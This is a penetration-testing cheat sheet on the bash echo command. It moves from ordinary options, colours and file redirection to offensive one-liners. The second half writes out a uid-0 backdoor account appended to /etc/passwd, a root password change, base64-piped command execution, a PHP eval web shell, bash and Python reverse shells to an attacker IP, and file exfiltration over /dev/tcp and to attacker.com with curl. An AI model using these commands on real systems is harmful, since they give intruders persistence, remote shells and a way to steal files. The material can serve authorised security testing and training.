Echo in Penetration Testing

Common Echo Options

Basic Options

bash
# -n: Do not output the trailing newline
echo -n "Hello"  # Output: Hello
echo "Hello"     # Output: Hello\n

# -e: Enable interpretation of backslash escapes
echo -e "Hello\nWorld"  # Output: Hello
                        # World

# -E: Disable interpretation of backslash escapes (default)
echo -E "Hello\nWorld"  # Output: Hello\nWorld

# Common escape sequences
echo -e "\a"     # Bell
echo -e "\b"     # Backspace
echo -e "\c"     # No newline
echo -e "\f"     # Form feed
echo -e "\n"     # Newline
echo -e "\r"     # Carriage return
echo -e "\t"     # Horizontal tab
echo -e "\v"     # Vertical tab
echo -e "\\"     # Backslash

Color Output

bash
# Text color
echo -e "\033[31mRed text\033[0m"    # Red
echo -e "\033[32mGreen text\033[0m"    # Green
echo -e "\033[33mYellow text\033[0m"    # Yellow
echo -e "\033[34mBlue text\033[0m"    # Blue
echo -e "\033[35mPurple text\033[0m"    # Purple
echo -e "\033[36mCyan text\033[0m"    # Cyan

# Background color
echo -e "\033[41mRed background\033[0m"    # Red background
echo -e "\033[42mGreen background\033[0m"    # Green background
echo -e "\033[43mYellow background\033[0m"    # Yellow background

# Text style
echo -e "\033[1mBold text\033[0m"     # Bold
echo -e "\033[4mUnderlined text\033[0m"   # Underlined
echo -e "\033[5mBlink text\033[0m"     # Blink

Formatted Output

bash
# Using variables
name="World"
echo "Hello $name"      # Output: Hello World
echo "Hello ${name}"    # Output: Hello World

# Command substitution
echo "Current time: $(date)"
echo "Current time: `date`"

# Escaping special characters
echo "This is a \$dollar sign"    # Output: This is a $dollar sign
echo "This is a \"quote\""        # Output: This is a "quote"

File Operation Options

bash
# Append to file
echo "new line" >> file.txt

# Overwrite file
echo "new content" > file.txt

# Create multiline file
echo -e "line1\nline2\nline3" > multiline.txt

# Using here document
echo << EOF > file.txt
line1
line2
line3
EOF

Echo Display String

bash
echo "Hello ICTRUN"
 Hello ICTRUN

echo "$str" Good Evening 
 Good Evening

Enable ipv4 ipforward

bash
echo 1 > /proc/sys/net/ipv4/ip_forward

Add a root-level user

bash
echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwd

Modify root password

bash
echo "root:newpassword" | chpasswd

Non-interactive password change using echo -e

bash
echo -e "newpassword\nnewpassword" | passwd username

Execute command with base64

bash
echo "whoami" | base64
echo "d2hvYW1pCg==" | base64 -d | bash

Write a one-line PHP to 1.php using Base64

bash
echo "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php

Reverse Shell

bash
# Bash reverse shell
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash

# Python reverse shell
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash

File Operations

bash
# Create file
echo "content" > file.txt

# Append content
echo "more content" >> file.txt

# Clear file
echo "" > file.txt

Environment Variable Operations

bash
# Set environment variable
echo "export PATH=/new/path:$PATH" >> ~/.bashrc

# Add proxy settings
echo "export http_proxy=http://proxy:port" >> ~/.bashrc

System Configuration Modification

bash
# Modify system limits
echo "* soft nofile 65535" >> /etc/security/limits.conf

# Modify kernel parameters
echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf

File Transfer

Sending Files

bash
# Method 1: Using nc
export LFILE=/tmp/1.tar.gz
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422'

# Method 2: Using base64
cat file.txt | base64 | echo "$(cat -)" > file.txt.b64

Receiving Files

bash
# Method 1: Using nc
nc -v -l -p 4422 > 1.tar.gz

# Method 2: Using base64
cat file.txt.b64 | base64 -d > file.txt

Other File Transfer Methods

bash
# Upload file using curl
echo "curl -F 'file=@/path/to/file' http://attacker.com/upload"

# Download file using wget
echo "wget http://attacker.com/file -O /path/to/save"